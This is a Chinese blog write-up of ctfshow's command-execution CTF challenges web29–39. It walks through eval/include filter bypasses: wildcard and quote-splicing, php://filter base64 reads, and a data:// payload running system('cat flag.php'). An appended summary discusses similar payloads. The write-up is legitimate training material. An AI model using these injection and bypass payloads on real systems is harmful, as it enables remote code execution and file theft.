ctfshow WEB入门系列 之 命令执行1-10 (web29-39)

2 篇文章 0 订阅

目录

web29

web30

web31

web32

web33

web34

web35

web36

web37

web38

web39

伪协议总结


web29

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

get传递参数c 执行命令。 c中不能含有flag。

先ls一下看看有啥

?c=system(ls);

直接上通配符解决吧

1.?c=system('cat fla*');

2.?c=echo `nl fl''ag.php`;   flag被''给拼接 为啥可以这样,为什么上面就不行呢???

 

web30

过滤了system和php

1.?c=echo `nl fl''ag.ph''p`;

 

web31

进一步过滤

过滤了空格和. 之前的不好用了。。

 

1.

web32

先进一步理解一下,$c到底是啥。。。。

用本地环境修改一下代码,打印看看

可以看到,它并不会去匹配$nice中获取的下一个参数的具体值。所以这样就可以绕过了

/?c=$a=include$_GET["b"]?>$b=flag.php

但是这样并不行。include包含不了,是因为路径的问题吗?查一下函数

最终会在自己路径下寻找呀

哦,是因为php include包含的文件不会在页面显示出来,无回显!所以需要用伪协议来读

c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php

奇怪,为什么本地测试的时候可以呢???

服了,

?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

?c=$nice=include$_GET["url"]&url=php://filter/read=convert.base64-encode/resource=flag.php

要闭合,过滤了分号;可以用?>来闭合

这答案有问题,根本不需要给c赋值为其他变量,直接include就可以了

最终解:

?c=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web33

多过滤了双引号

那就用数字来表示,不过话说可以直接这样吗,变量,

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

不是必须以字母或者下划线开头吗,

这里不是php的变量,只是传参,应该什么都可以,传个符号都行 比如下划线

web34

 

多过滤了冒号:  不影响啊,还是原先payload

 

web35

多过滤了 = 和 <  不影响,还是原先payload

这么过滤是为了防止

c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

这种,不过这个完全没必要啊,为什么要闭合呢。。。

web36

额,过滤数字,那就用符号 _  —什么的都行,或者直接字母???那前面的为什么要加引号。。。。。。。。吐了。。。

c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

 

web37

获取变量c,如果c不匹配flag(大小写)包含文件。

data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

/?c=php://filter/read=convert.base64-encode/resource=flag.php  这个不行,flag会被过滤

不能出现flag的话,可以用伪协议base64输入flag编码后的

 

 

web38

这样子应该是想过滤两种伪协议,上一题的那个还可以用

 

web39

$c 是flag的话不行。。为什么///

那么$c还是flag.php  把后面的给注释掉吧

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

 

伪协议总结

 

 

 

 

 

 

 

 

 

 

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
在CTF中,web入门命令执行指的是通过Web应用程序的漏洞,将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息,可以看到一些常见的双写绕过技巧,如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制,从而注入恶意的命令。 引用中提到的payload,其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外,引用中提供了另一种payload的示例,其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样,也可以直接使用show_source(&#39;flag.php&#39;)来显示"flag.php"文件的源代码。 需要注意的是,命令执行漏洞是非常危险的,因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击,开发人员应该对用户的输入进行严格的验证和过滤,并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值